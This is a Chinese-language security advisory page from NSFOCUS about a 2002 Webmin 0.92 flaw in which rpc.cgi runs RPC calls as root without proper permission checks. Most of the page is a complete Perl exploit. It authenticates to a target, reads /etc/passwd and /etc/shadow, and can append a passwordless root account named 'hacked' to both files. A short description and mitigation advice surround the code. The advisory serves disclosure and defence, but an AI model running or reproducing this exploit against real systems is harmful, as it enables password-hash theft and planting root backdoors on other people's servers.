首页 -> 安全研究

安全研究

安全漏洞
Webmin远程任意命令执行和文件查看漏洞

发布日期:2002-08-28
更新日期:2002-08-30

受影响系统:
Webmin Webmin 0.92-1
Webmin Webmin 0.92
    - Linux系统
描述:
Webmin是基于WEB接口的Linux/Unix系统管理工具,使用任何支持表单的浏览器可以设置用户帐户、APACHE、DNS、文件共享等。

Webmin CGI程序RPC调用缺少正确的权限判断,远程攻击者可以利用这个漏洞以root用户权限执行任意命令或者查看任意文件内容。

Webmin的CGI在处理来自其他Webmin服务程序remote_foreign_require和remote_foreign_call RPC请求时缺少充分的权限检查,会以root权限执行那些调用,如果攻击者拥有另一个机器上Webmin服务程序的普通用户帐户,利用这个漏洞就可能以root用户权限执行任意代码或者查看系统任意文件。

对于是否能访问这个CGI通过/usr/libexec/webmin/defaultacl文件中的'rpc'值进行判断,这个值如果为‘2’,则只允许管理或者root用户访问,如果这个值为'1',则允许任意人访问这个CGI。访问这个CGI可以获得如下功能:

1) 'quit' - 终止当前RPC session.
2) 'require' - 使当前RPC会话装载一个库/模块文件.
3) 'call' - 执行Perl或者Webmin功能.
4) 'eval' - 评估Perl代码(执行).
5) 'ping' - 应答"OK"的回复.
6) 'check' - 检查某个库/模块是否支持.
7) 'config' - 显示当前RPC配置.
8) 'write' - 按照提供数据写入文件.
9) 'read' - 读取文件返回数据.

利用'read'和'write'功能,由于webmin在运行这两个功能的时候没有丢弃权限,所以拥有帐户的远程攻击者可以利用这两个函数查看系统文件,包括/etc/passwd和/etc/shadow,而利用'eval'功能,则可能以root用户权限在系统上执行任意命令。

<*来源:Aviram Jenik (aviram@beyondsecurity.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103055942607213&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Aviram Jenik(aviram@beyondsecurity.com) 提供了如下测试程序:

#!/usr/bin/perl
# urlize
# Convert a string to a form ok for putting in a URL
sub urlize {
  local $rv = $_[0];
  $rv =~ s/([^A-Za-z0-9])/sprintf("%%%2.2X", ord($1))/ge;
  return $rv;

}

# un_urlize(string)
# Converts a URL-encoded string to the original
sub un_urlize
{
local $rv = $_[0];
$rv =~ s/\+/ /g;
$rv =~ s/%(..)/pack("c",hex($1))/ge;
return $rv;
}

# serialise_variable(variable)
# Converts some variable (maybe a scalar, hash ref, array ref or scalar
ref)
# into a url-encoded string
sub serialise_variable
{
if (!defined($_[0])) {
        return 'UNDEF';
        }
local $r = ref($_[0]);
local $rv;
if (!$r) {
        $rv = &urlize($_[0]);
        }
elsif ($r eq 'SCALAR') {
        $rv = &urlize(${$_[0]});
        }
elsif ($r eq 'ARRAY') {
        $rv = join(",", map { &urlize(&serialise_variable($_)) }
@{$_[0]});
        }
elsif ($r eq 'HASH') {
        $rv = join(",", map { &urlize(&serialise_variable($_)).",".
                              &urlize(&serialise_variable($_[0]->{$_}))
}
                            keys %{$_[0]});
        }
elsif ($r eq 'REF') {
        $rv = &serialise_variable(${$_[0]});
        }
return ($r ? $r : 'VAL').",".$rv;
}

# unserialise_variable(string)
# Converts a string created by serialise_variable() back into the
original
# scalar, hash ref, array ref or scalar ref.
sub unserialise_variable
{
local @v = split(/,/, $_[0]);
local ($rv, $i);
if ($v[0] eq 'VAL') {
        $rv = &un_urlize($v[1]);
        }
elsif ($v[0] eq 'SCALAR') {
        local $r = &un_urlize($v[1]);
        $rv = \$r;
        }
elsif ($v[0] eq 'ARRAY') {
        $rv = [ ];
        for($i=1; $i<@v; $i++) {
                push(@$rv, &unserialise_variable(&un_urlize($v[$i])));
                }
        }
elsif ($v[0] eq 'HASH') {
        $rv = { };
        for($i=1; $i<@v; $i+=2) {
                $rv->{&unserialise_variable(&un_urlize($v[$i]))} =
                        &unserialise_variable(&un_urlize($v[$i+1]));
                }
        }
elsif ($v[0] eq 'REF') {
        local $r = &unserialise_variable($v[1]);
        $rv = \$r;
        }
elsif ($v[0] eq 'UNDEF') {
        $rv = undef;
        }
return $rv;
}

# encode_base64(string)
# Encodes a string into base64 format
sub encode_base64
{
    local $res;
    pos($_[0]) = 0; # ensure start at the beginning
    while ($_[0] =~ /(.{1,45})/gs) {
        $res .= substr(pack('u', $1), 1)."\n";
        chop($res);
    }
    $res =~ tr|\` -_|AA-Za-z0-9+/|;
    local $padding = (3 - length($_[0]) % 3) % 3;
    $res =~ s/.{$padding}$/'=' x $padding/e if ($padding);
    return $res;
}

use Socket;
if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP
remotePort username password command_interface
command interface should equal one of these:
1 - read file /etc/passwd
2 - read file /etc/shadow
3 - insert into file /etc/passwd (\"hacked:x:0:0:root:/root:/bin/bash\")
4 - insert into file /etc/shadow (\"hacked::0:99999:7:-1:-1:134538548\")
";}

$username = $ARGV[4];
$password = $ARGV[5];

$proxyPort = $ARGV[1];
$proxyIP = $ARGV[0];

$remoteIP = $ARGV[2];
$remotePort = $ARGV[3];
$command_interface = $ARGV[6];

$target = inet_aton($proxyIP);
$paddr = sockaddr_in($proxyPort, $target);

print "Connecting to: $proxyIP:$proxyPort, with the following user:
$username and password: $password. Hacking server:
$remoteIP:$remotePort\n";

$auth = &encode_base64("$username:$password");
$auth =~ s/\n//g;

if (($command_interface eq 1) || ($command_interface eq 3))
{
$d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0"};
}
if (($command_interface eq 2) || ($command_interface eq 4))
{
$d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0"};
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
if (($found == 1) || (/^\r\n/))
{
  if ($found == 0)
  {
   $found = 1;
  }
  else
  {
   $in = join ("", $in, $_);
  }
}
}
select(STDOUT);

print "Raw:\n---\n$in\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},
"\n---\n";

close(S);

if ($command_interface eq 3)
{
$d = { 'action' => 'write', 'data'=>join("",
unserialise_variable($in)->{'rv'},
"hacked:x:0:0:root:/root:/bin/bash\n"),
'file' => "/etc/passwd", 'session' => "0"};
}
if ($command_interface eq 4)
{
$d = { 'action' => 'write', 'data'=>join("",
unserialise_variable($in)->{'rv'},
"hacked::0:99999:7:-1:-1:134538548\n"),
'file' => "/etc/shadow", 'session' => "0"};
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
if (($found == 1) || (/^\r\n/))
{
  if ($found == 0)
  {
   $found = 1;
  }
  else
  {
   $in = join ("", $in, $_);
  }
}
}

select(STDOUT);

print "Raw:\n---\n$in\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},
"\n---\n";

close(S);

# --- EOF ---

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 设置defaultacl文件的rpc值为0。

厂商补丁:

Webmin
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.webmin.com/webmin/

浏览次数:4017
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障